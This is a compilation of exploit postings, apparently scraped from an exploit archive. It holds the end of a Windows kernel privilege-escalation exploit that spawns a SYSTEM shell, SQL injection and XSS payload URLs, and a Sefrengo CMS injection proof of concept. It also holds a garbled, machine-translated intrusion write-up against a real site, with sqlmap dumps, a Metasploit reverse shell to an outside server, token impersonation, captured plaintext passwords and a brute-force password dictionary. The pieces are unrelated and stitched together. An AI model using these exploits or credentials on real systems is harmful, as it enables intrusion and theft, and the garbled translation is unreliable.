FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00222000, inbuffer, INBUFSIZE, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; }
HireHackking

AJ Classifieds - 'listingid' SQL Injection

source: https://www.securityfocus.com/bid/48702/info AJ Classifieds is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/demo/ajclassifieds/classifiedsauto/index.php?do=detaillisting&listingid=77â??a
HireHackking
0x01はじめに
日付/時刻:2015年、この侵入テスト中に、取得されたいくつかのマシンの管理者パスワードには特定の規則性があることがわかりました。最後に、パスワードルールを分析し、新しいパスワードを組み合わせることにより、ターゲットのCセグメントマシン許可全体を正常に取得しました。個人的には、これはイントラネットのユニバーサル/通常のパスワードの良い実用的なケースであると感じているので、記録する方が良いと思いました。

0x02 GetShellプロセス
ウェブサイトの基本情報検出:
ターゲットサイト:http://www.that **** elos.com.br
サーバーIP:189。**。**。204(ブラジル)
環境プラットフォーム:ASP.NET
サーバーシステム:Windows Webサイトは国内のIPアクセスを禁止するため、テストを行うために壁にしか行けません。最初に、Chromeブラウザープラグインと指紋認識Webサイトを使用して、サーバーシステムの特定のバージョンを取得しません。ただし、私の個人的な経験に基づいて、これはWindows 2003でなければなりません。
Chromeブラウザプラグイン:サーバーの詳細1.0.12、Wappalyzer
サーバーシステムの識別:http://FUWUQIXITONGSHIBIE.51240.com/?q=
ウェブサイトのバックエンドアドレス:http://www.that **** elos.com.br/admin/safe3wvs_v10.1脆弱性スキャンツールを使用して、いくつかの注入を正常に見つけるためにSQLMapツールを使用して、この注入ポイントが存在し、管理者のテーブルとカラムを実行したときに報告されたときに報告されたときに報告されていることを確認しました。

ランニングウォッチ名:
sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' - テーブル
[7テーブル]:カテゴリー、クライアント、デッカーク、リテン、ペディド、プロデュトス、ウサリオスランニングコラム名:
sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' -t 'usuarios' - columns
[5列]:Codusuario、電子メール、ログイン、ノーム、Senhaの実行データ:
sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' - dbmsアクセス-t 'usuarios' -C '電子メール、ログイン、ログイン、ログイン、ログイン、ログイン' - ダンプ-threads 10 sqlmap runsのsqlmapがあるときに誤りがあります。管理者のテーブルと列が取得されているため、他のインジェクションツールを使用して、d、ming xiaozi、その他の注入ツールなど、管理者ユーザーパスワードを実行できます。柔軟に使用できます。

この注入ポイントを通じて、Webサイト管理者のアカウントとパスワードを正常に取得し、Webサイトの背景にログインしてフィルタリングなしでアップロードを見つけ、ASPピクチャーホースを直接渡し、このサイトのWebシェル許可を正常に取得しました。


0x03実用的な電力促進プロセス
サーバーの基本情報検出:
ポートオープン:21、80、135、443、445、873、65432
パッチステータス:750以上のシステムパッチが適用されました(Windows 2003 x86)
スクリプト検出:PHPまたはASPXではなく、ASPスクリプトファイルのみをサポートします
ディスク許可:Cディスク内の一部のフォルダーには読み取り可能/書き込み許可があります。彼らは長い間クロスサイトになることはできません。 750以上のパッチを備えた2003年のマシンに遭遇したのは初めてです。彼らは、EXPを使用してEXPを取得する確率が高くないことを知っていますが、それでも試してみる必要があります。たぶんそれは「成功する」でしょう。次の経験を試した後、最終結果が予想され、失敗しました。
Pr.exe、churrasco.exe、2003.exe、ndproxy.exe、iis6.exe、ms11-046.exe、ms10-048.exe、ms11-080.exe、ms13-051.exe、debug.exe .0104m9504特権エスカレーションモジュール。ターゲットは国内のIPアドレスへのアクセスを禁止するため、ターゲットマシンセッションは攻撃ペイロードファイルを実行した後に取得できないため、著者は外国のVPSでテストします。
root@c2unix:〜#msfpayload Windows/meterpreter/reverse_tcp lhost=37
MSF Exploit(ハンドラー)Payload Windows/MeterPreter/Reverse_TCPを設定します
MSF Exploit(ハンドラー)SET LHOST 37。*。**。52
MSFエクスプロイト(ハンドラー)セットLポート443
MSFエクスプロイト(ハンドラー)エクスプロイト
[*] 37。*。**。52:443でリバースハンドラーを開始しました
[*]ペイロードハンドラーを起動します.
[*]ステージ(770048バイト)を189に送信します。**。**。204
[*] MeterPreterセッション1は、2015-01-01 13:48336001 +0000 の現在のセッションの存在とシステムを拡大しようとしたシステムを拡大しようとした、2015-01-01 13:1048336001 +0000 にオープン(**。**。52:443-189。失敗して、現在のセッションをバックグラウンドに配置し、MS14_058_TRACK_POPUP_MENUのロードを続けて、テスト用の特権モジュールを増やします。
MeterPreter GetUid
Server Username: $ U $ autoridade nt \ servio local-0x415554f524944444445204e545c5345525649c74f204c4f43414c
MeterPreter GetSystem
[ - ] priv_elevate_getsystem:操作失敗:アクセスは拒否されます。
メータープレターsysinfo
コンピューター: Web200
OS : Windows .Netサーバー(ビルド3790、サービスパック2)。
アーキテクチャ: x86
システム言語: PT_BR
MeterPreter : x86/win32
メータープレターの背景
[*]バックグラウンドセッション1 . MSFエクスプロイト(ハンドラー)Exploit/Windows/Local/MS14_058_TRACK_POPUP_MENUを使用します
MSF Exploit(MS14_058_TRACK_POPUP_MENU)PAYLOAD WINDOWS/METERPRETER/REVERSE_TCPを設定します
MSF Exploit(MS14_058_TRACK_POPUP_MENU)SET LHOST 37。*。**。52
MSF Exploit(MS14_058_TRACK_POPUP_MENU)SET LPORT 443
MSF Exploit(MS14_058_TRACK_POPUP_MENU)セッション1を設定します
MSF Exploit(MS14_058_TRACK_POPUP_MENU)Exploit
[*] 37。*。**。52:443でリバースハンドラーを開始しました
[*]エクスプロイトをホストするためのメモ帳を起動します.
[+]プロセス11464が起動しました。
[*]エクスプロイトDLLを11464に反射的に注入します.
[*] 11464にエクスプロイトを注入.
[*]噴射されたエクスプロイト。ペイロードを11464に注入します.
[*]挿入されたペイロード。エクスプロイトの実行.
[+] Exploitが終了し、(できれば特権のある)ペイロードの実行が完了するのを待ちます。
[*]ステージ(770048バイト)を189に送信します。**。**。204
[*] MeterPreterセッション2がオープン(37。*。**。52:443-189。モジュールは新しいMeterPreterセッションを取得しますが、それでも通常のアクセス許可です。この状況は、以前の実際のケースで何度も遭遇しました。特定の理由は不明であり、私はそれを深く研究していません。
MeterPreter GetUid
Server Username: $ U $ autoridade nt \ servio local-0x415554f524944444445204e545c5345525649c74f204c4f43414c
MeterPreter GetSystem
[ - ] priv_elevate_getsystem:操作失敗:アクセスは拒否されます。
MeterPreter Hashdump
[ - ] priv_passwd_get_sam_hashes:操作失敗著者は深い思考に陥りました.そして突然、MeterPreterの下でシークレットの拡張があると思いました。
まず、このサーバーのいくつかの管理者ユーザーを見てみましょう。これは、後で管理者トークンを見つけるのに便利です。デフォルトの管理者に加えて、Cronjobもあることがわかります。

list_tokens -u利用可能なユーザートークンをリストします。ここにリストされている利用可能なユーザートークンが多すぎます。著者は. Snip .部品を省くために使用しました。利用可能なユーザートークンにCronjob管理者トークンがあることがわかります。
利用可能なユーザートークンをリストします:
MeterPreterはIncognitoを使用します
拡張機能のロードインコグニト.成功。
meterpreter list_tokens -u
[ - ] Warning:現在システムとして実行されていない、すべてのトークンが利用可能になるわけではありません
プライマリプロセストークンがシステムである場合、Rev2Selfを呼び出します
委任トークンが利用可能
===============================================================
autoridade nt \ servi?oローカル
web200 \ aewcorp
web200 \ attcorreia
web200 \ cronjob
web200 \ sueddesigner
.切り分け.
なりすましトークンが利用可能です
===============================================================
web200 \ aluggo
web200 \ ciacompropaganda
Web200 \ Datahome
web200 \ ipirangacontabil
web200 \ web200
.スニップ.偽のcronjobユーザートークン:
MeterPreter Imprionate_Token web200 \\ cronjob
[ - ] Warning:現在システムとして実行されていない、すべてのトークンが利用可能になるわけではありません
プライマリプロセストークンがシステムである場合、Rev2Selfを呼び出します
[+]代表団が利用可能
[+]ユーザーWeb200 \ Cronjobに成功しました
MeterPreter GetUid
Server Username: web200 \ estoquedomarmorista
MeterPreter Hashdump
. Snip .現在のマシンIPアドレスは:189。**。**。204、リモートポート番号:65432、コンピューター名:web200、ターゲットシステムのクリアテキストパスワード、メータープレターの下でキャプチャされたMimikatzフレンチアーティファクトは次のとおりであり、管理者のハスパスワードはクラックできません(=16ビット)。
0; 980627246 NTLM Web200 Administrador W3B200R0X0271114
0; 3450401626 ntlm web200 cronjob 016b2023ee9b897ca643
0; 1214252650 ntlm web200 web200 p1cadasgalaxi4s
0; 1236893630 ntlm web200 thatycabelos vbs147369
0; 74485534 ntlm web200 iis_user 123abc!#いくつかの一般的な脆弱性を使用して、189のWebシェル許可を取得しました。**。**。**。**。**。**。**。
など:一部のフォルダー権限、CMD.exe実行コマンドのアップロード、サーバーシステムのホスト名、一部のコマンドアクセス許可は不十分で、同じリモートポート番号など。
次の図に示すように、自分でアップロードしたExpを実行できないだけで、0x2331エラーがプロンプトされます。ただし、サーバーが再起動している限り、EXPを正常に実行できるか、アップロードされたExpサフィックスをTXTに変更しようとすることもできます。


0x04パスワード/ドメイン名ルール
いくつかのマシンで得られた情報と個人的な経験に基づいて、基本的にこのCセグメントのすべてのマシンが同じ管理者であると判断することが可能です。したがって、管理者が使用するパスワードは定期的に見つける必要があります。次に、パスワードのルールを一緒に分析しましょう。
(1)パスワードルール分析
いくつかのマシンで一般的に使用される管理者ユーザーには、Administrador、Cronjobが含まれます。 189。**。**。パスワードルールは、主にホスト名の3桁の数字に関連しており、IPアドレスとは何の関係もありません。
W3B=固定値、200=コンピューター名(3桁)、R0X0271114=固定値WPSテーブル関数を使用してホスト名3桁を抽出し、右(H2,3)を抽出し、新しいパスワードを組み合わせ、最後にB2C2D2を組み合わせ、最後に2つのマシンの管理者パスワードを組み合わせます。 下に。

現在、それは制御されたマシンを通してのみ知られることができます。セグメントCで他のマシンのWebShell許可を取得しない場合、どのようにしてホスト名を取得できますか?または、セクションCに他のサーバーを直接入力する方法はありますか?もちろん、ここでは1つのアイデアしか提供されていません。
アイデアを爆破する:
デフォルトのRDPポートは3389で、取得したいくつかのマシンのRDPポートは65432です。このセグメント189のすべてのIPSにあるパスワードに基づいて効率的な辞書を生成できます。
W3B200R0X0271114
W3B201R0X0271114
W3B202R0X0271114
W3B203R0X0271114
W3B204R0X0271114
W3B205R0X0271114
W3B206R0X0271114
W3B207R0X0271114
W3B208R0X0271114
W3B209R0X0271114
W3B210R0X0271114
. Snip .
(2)ドメイン名ルール分析
テストで「hostname.test.net」のようなサブドメインが何度も見られました。いくつかにアクセスした後、私は自分のアイデアを確認しました。管理者は各サーバーでそのようなサブドメインを解決し、命名ルールはhostname.test.netです。
ドメイン名のルールを知った後、ウェブシェルを保存してホスト名を直接取得できます。最後に、パスワードを組み合わせてセクションCに他のマシンを入力できます。 10ユニット以上をテストした後、問題ありません。

画像メタファー:
セクションCのすべてのマシン=パスワードルール +ホスト名+ドメイン名ルール、パスワードルール=父親、hostName=son、ドメイン名ルール=母親、父親、母親はどちらも息子が必要です。一緒に暮らすことは完全な家族と見なされることがあり、どちらも欠落していません。
アイデアの拡張:
ドメイン名のルールに従って効率的な「ホストname.test.net」サブドメイン辞書を生成し、ホスト名を300に制御します。次に、スクリプトを介してこれらのサブドメインをバッチにバッチで、IPアドレスとCセグメントの生存マシンの対応するホスト名を取得し、パスワードルールに従って新しいパスワードを組み合わせます。
web200.test.net
web201.test.net
web202.test.net
web203.test.net
web204.test.net
web205.test.net
web206.test.net
web207.test.net
web208.test.net
web209.test.net
web210.test.net
. snip . WPSテーブル関数を使用して新しいパスワードを組み合わせて、=B2(右(左(E2,6)、3)D2)を組み合わせて、最後に図に示すように、パスワードルールを使用してセグメントCのすべての生き残ったマシンの管理者パスワードを組み合わせることができます。


0x05要約
内部/ドメイン環境では、一般的/通常のパスワードに遭遇することがよくあります。一般的に、ホスト名、IPアドレス、年および一般的な文字123/QWE/!@#などをルールとして使用します。また、Webサイトの背景、ミドルウェア、データベース、サードパーティソフトウェアなど、さまざまなパスワードの一般的なポイントとルールを分析し、ブラスト用の効率的な辞書を組み合わせて生成することもできます。 @江天から文を借りる:侵入の本質は情報収集です。
1.ターゲットシステムに関する情報を収集します。ここでは、システムはオンラインCMSフィンガープリントを介してWindows 2003 IIS6.0です。 Webサイト管理者のバックグラウンドディレクトリは、Yujianディレクトリスキャンツールを介してAdmin2であることがわかります。ユーザー名とパスワードスキャンツールが正常に見つかりました。 Safe3WVS_V10.1の脆弱性スキャンツールを使用していくつかの注入が見つかり、SQLMAPツールを使用してこの注入ポイントが存在し、管理者のテーブルと列が使い果たされていることを確認しましたが、ユーザー名とパスワードを使い果たすことはできません。SQLMAP-U
HireHackking
source: https://www.securityfocus.com/bid/48711/info The Iskratel SI2000 Callisto 821+ is prone to a cross-site request-forgery vulnerability and multiple HTML-injection vulnerabilities. An attacker can exploit the cross-site request-forgery issue to perform unauthorized actions in the context of a user's session. This may aid in other attacks. The attacker can exploit the HTML-injection issues to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered. Other attacks are also possible. http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:9=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:10=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:11=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:15=%3Cscript%3Ealert(document.cookie)%3C/script%3E
HireHackking
En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Blind OS command injection with output redirection».
Para resolver el laboratorio, tenemos que ejecutar el comando whoami en el servidor y leer su salida. Para ello, haremos uso de un Blind OS Command Injection que se encuentra en la función de feedback.
Como podemos observar, hay unos cuantos campos a rellenar. Por lo que vamos a rellenarlos:
Ahora, antes de enviar el feedback. Preparamos el burp suite para que reciba las peticiones:
Con esto listo, enviamos el feedback para captar la petición:
Esta es la petición que se envía al servidor cuando se envía feedback. Para tratar con ella, la enviamos al repeater pulsando Ctrl R:
Una vez en el repeater, podemos observar como una petición válida simplemente obtiene una respuesta de estado 200 y no mucho más.
Sin embargo, entre todos los parámetros que se están enviando, vamos a intentar ver si podemos ejecutar un comando en alguno de ellos, y no solo eso, sino redirigir el output a un directorio que podamos acceder. Para de esta forma, poder leer la salida del comando que hemos ejecutado.
Lo primero es determinar a que directorio podemos redirigir la salida de los comandos. Para ello, en este caso, vamos a usar el directorio donde se almacenan las imágenes, que en este caso se nos indica en la descripción del laboratorio:
/var/www/images Sabiendo esto, vamos a intentar realizar un Blind OS Command Injection redirigiendo la salida del comando a un archivo en el directorio de arriba:
Como se trata de un Blind OS Command Injection, no podemos ver la salida en la respuesta del servidor. Por lo que para confirmar si ha funcionado, tendremos que acceder al archivo al cual hemos redirigido la salida del comando.
Para acceder al archivo en cuestión, como lo hemos puesto en una carpeta llamada «images«. Podemos suponer, que quizás se haya guardado en la misma ruta que por ejemplo las imágenes de las portadas de los productos de la web:
Se acceden a las imágenes a través del parámetro filename del archivo image, por lo que vamos a sustituir el valor de este parámetro por el nombre del archivo al que hemos redirigido la salida del comando, en este caso, whoami.txt:
De esta forma, conseguimos resolver el laboratorio:

HireHackking

Sefrengo CMS 1.6.1 - Multiple SQL Injections

# Exploit Title: Sefrengo CMS v1.6.1 - Multiple SQL Injection Vulnerabilities # Google Dork: N/A # Date: 01/26/2015 # Exploit Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team (www.itas.vn) # Vendor Homepage: http://www.sefrengo.org/ # Software Link: http://forum.sefrengo.org/index.php?showtopic=3368 (https://github.com/sefrengo-cms/sefrengo-1.x/tree/22c0d16bfd715631ed317cc990785ccede478f07) # Version: Sefrengo CMS v1.6.1 # Tested on: Linux # CVE : CVE-2015-1428 ::PROOF OF CONCEPT:: Link 1: POST /sefrengo/backend/main.php?idcatside= HTTP/1.1 Host: itaslab.vn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://itaslab.vn/sefrengo/backend/main.php Cookie: browserspy_js=1; sefrengo=[SQL INJECTION HERE] Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 707 username=abc&password=abc&Submit=Login+%C2%BB&sid_sniffer=5%2C5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2 Ctrue%2Cfalse%2Ctrue%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C false%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse %2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C1.5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse %2Cfalse%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse %2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse %2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Ctrue%2Ctrue%2Cfalse&response= &area=con - Vulnerable file: /backend/external/phplib/ct_sql.inc - Vulnerable function: function ac_get_value($id, $name) - Vulnerable parameter: $id - Vulnerable code: function ac_get_value($id, $name) { global $cms_db; $this->db->query(sprintf("select val from %s where sid = '%s' and name = '%s'", $cms_db['sessions'], $id, addslashes($name))); if ($this->db->next_record()) { $str = $this->db->f("val"); $str2 = base64_decode( $str ); if ( ereg("^".$name.":.*", $str2) ) { $str = ereg_replace("^".$name.":", "", $str2 ); } else { $str3 = stripslashes( $str ); if ( ereg("^".$name.":.*", $str3) ) { $str = ereg_replace("^".$name.":", "", $str3 ); } else { switch ( $this->encoding_mode ) { case "slashes": $str = stripslashes($str); break; case "base64": default: $str = base64_decode($str); } } }; return $str; }; return ""; } Link 2: POST /sefrengo/backend/main.php HTTP/1.1 Host: research-itasvn.rhcloud.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://itaslab.vn/sefrengo/backend/main.php?area=settings&action=edit&vid=4491 Cookie: browserspy_js=1; sefrengo=8167bb07461d09b026b28179f7863562 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 112 value_to_save=45&sefrengo=8167bb07461d09b026b28179f7863562&area=settings&action=save_value&value_id=[SQL INJECTION HERE]&x=6&y=8 - Vulnerable file: /backend/inc/class.values_ct.php - Vulnerable function: function set_value($mixed) - Vulnerable parameter: $mixed['id'] - Vulnerable code: function set_value($mixed) { global $cms_db, $db; //build query $sql_group = (empty($mixed['group'])) ? 0: ''.$mixed['group']; $sql_client = (empty($mixed['client'])) ? '': 'AND idclient IN ('. $mixed['client'] .')'; $sql_lang = (empty($mixed['lang'])) ? '': 'AND idlang IN ('. $mixed['lang'] .')'; $sql_key = (empty($mixed['key'])) ? '': 'AND V.key1 = "'. $mixed['key'] . '" '; $sql_key2 = (empty($mixed['key2'])) ? '': 'AND V.key2 = "'. $mixed['key2'] . '" '; $sql_key3 = (empty($mixed['key3'])) ? '': 'AND V.key3 = "'. $mixed['key3'] . '" '; $sql_key4 = (empty($mixed['key4'])) ? '': 'AND V.key4 = "'. $mixed['key4'] . '" '; $sql_id = (empty($mixed['id'])) ? "": "AND V.idvalues = '". $mixed['id'] . "' "; $sql = "SELECT * FROM ". $cms_db['values'] ." AS V WHERE V.group_name IN ('$sql_group') $sql_client $sql_lang $sql_key $sql_key2 $sql_key3 $sql_key4 $sql_id"; //die($sql); $db -> query($sql); $count_rows = $db ->num_rows(); if($count_rows > 1){ echo $sql .'<br> Fehler in Klasse "cms_value_ct". Es wurde mehr als ein Ergebnis gefunden. Anfrage ist nicht eindeutig'; exit; } elseif($count_rows == 1){ $db -> next_record(); $mixed['id'] = $db -> f('idvalues'); //echo "update"; $this -> _update_by_id($mixed); } else{ $this -> insert($mixed); } } ::DISCLOSURE:: + 01/08/2015: Send the detail of vulnerabilities to vendor and Vendor confirmed + 01/25/2015: Vendor releases patch + 01/26/2015: ITAS Team publishes information ::REFERENCE:: - Detail and videos: http://www.itas.vn/news/itas-team-found-out-multiple-sql-injection-vulnerabilities-in-sefrengo-cms-v1-6-1-74.html - https://github.com/sefrengo-cms/sefrengo-1.x/commit/22c0d16bfd715631ed317cc990785ccede478f07 ::COPYRIGHT:: Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP. ::DISCLAIMER:: THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.
HireHackking

Cyberoam UTM - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/48814/info Cyberoam UTM is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. http://www.example.com/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?srcip=<script>alert(document.cookie)</script>
HireHackking

Godly Forums - 'id' SQL Injection

source: https://www.securityfocus.com/bid/48872/info Godly Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/Forum/topics.php?id=2